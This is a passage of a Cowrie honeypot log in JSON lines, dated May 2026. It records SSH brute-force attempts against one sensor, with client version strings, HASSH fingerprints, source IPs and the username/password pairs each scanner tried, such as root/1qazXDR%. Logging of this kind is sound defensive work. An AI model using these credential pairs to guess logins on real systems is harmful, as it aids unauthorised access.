"curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:34.707502Z","src_ip":"98.70.48.241","session":"da91889e5445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp123","message":"login attempt [sftp/sftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:35.490176Z","src_ip":"98.70.48.241","session":"da91889e5445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:36.683476Z","src_ip":"98.70.48.241","session":"da91889e5445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.502477884292603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:49.040639Z","src_ip":"92.204.138.187","session":"add40449930d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38214,"dst_ip":"159.203.135.109","dst_port":22,"session":"653b0dc202b2","protocol":"ssh","message":"New connection: 87.106.29.151:38214 (159.203.135.109:22) [session: 653b0dc202b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:51.547936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:51.558210Z","src_ip":"87.106.29.151","session":"653b0dc202b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:51.650993Z","src_ip":"87.106.29.151","session":"653b0dc202b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6yhn&UJM","message":"login attempt [root/6yhn&UJM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:52.083875Z","src_ip":"87.106.29.151","session":"653b0dc202b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:53.185081Z","src_ip":"87.106.29.151","session":"653b0dc202b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":51962,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb41572a229","protocol":"ssh","message":"New connection: 198.98.55.71:51962 (159.203.135.109:22) [session: cdb41572a229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:06.422924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:06.427494Z","src_ip":"198.98.55.71","session":"cdb41572a229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:06.433710Z","src_ip":"198.98.55.71","session":"cdb41572a229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXDR%","message":"login attempt [root/1qazXDR%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:06.487735Z","src_ip":"198.98.55.71","session":"cdb41572a229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:07.499191Z","src_ip":"198.98.55.71","session":"cdb41572a229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:17.629391Z","src_ip":"47.239.15.75","session":"4e60f2b2f3e3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:26.641347Z","src_ip":"47.239.15.75","session":"f88d87f88bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":53320,"dst_ip":"159.203.135.109","dst_port":22,"session":"00106c090500","protocol":"ssh","message":"New connection: 47.239.15.75:53320 (159.203.135.109:22) [session: 00106c090500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:34.958884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:34.964997Z","src_ip":"47.239.15.75","session":"00106c090500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":39354,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf7cb7aa0120","protocol":"ssh","message":"New connection: 98.70.48.241:39354 (159.203.135.109:22) [session: cf7cb7aa0120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:35.206707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:35.212379Z","src_ip":"98.70.48.241","session":"cf7cb7aa0120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:35.410556Z","src_ip":"98.70.48.241","session":"cf7cb7aa0120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123@","message":"login attempt [ubuntu/P@ssw0rd123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:36.229402Z","src_ip":"98.70.48.241","session":"cf7cb7aa0120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:37.429019Z","src_ip":"98.70.48.241","session":"cf7cb7aa0120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:45.394419Z","src_ip":"47.239.15.75","session":"f88d87f88bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":42194,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c2cb0f66ee9","protocol":"ssh","message":"New connection: 87.106.29.151:42194 (159.203.135.109:22) [session: 9c2cb0f66ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:46.049242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:46.057127Z","src_ip":"87.106.29.151","session":"9c2cb0f66ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:46.154572Z","src_ip":"87.106.29.151","session":"9c2cb0f66ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userdb","password":"123456","message":"login attempt [userdb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:46.585195Z","src_ip":"87.106.29.151","session":"9c2cb0f66ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:47.688664Z","src_ip":"87.106.29.151","session":"9c2cb0f66ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":50360,"dst_ip":"159.203.135.109","dst_port":22,"session":"584181fed4fa","protocol":"ssh","message":"New connection: 198.98.55.71:50360 (159.203.135.109:22) [session: 584181fed4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:59.346045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:59.351140Z","src_ip":"198.98.55.71","session":"584181fed4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:59.357430Z","src_ip":"198.98.55.71","session":"584181fed4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huahua123","message":"login attempt [root/huahua123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:40:59.410920Z","src_ip":"198.98.55.71","session":"584181fed4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:00.423440Z","src_ip":"198.98.55.71","session":"584181fed4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:02.685746Z","src_ip":"47.239.15.75","session":"f88d87f88bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":55326,"dst_ip":"159.203.135.109","dst_port":22,"session":"724836b9a723","protocol":"ssh","message":"New connection: 98.70.48.241:55326 (159.203.135.109:22) [session: 724836b9a723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:35.050446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:35.056644Z","src_ip":"98.70.48.241","session":"724836b9a723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:35.255272Z","src_ip":"98.70.48.241","session":"724836b9a723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t5y6","message":"login attempt [ubuntu/q1w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:36.062253Z","src_ip":"98.70.48.241","session":"724836b9a723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:37.262656Z","src_ip":"98.70.48.241","session":"724836b9a723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":59132,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3e05c95816","protocol":"ssh","message":"New connection: 87.106.29.151:59132 (159.203.135.109:22) [session: 3a3e05c95816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:39.282487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:39.287390Z","src_ip":"87.106.29.151","session":"3a3e05c95816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],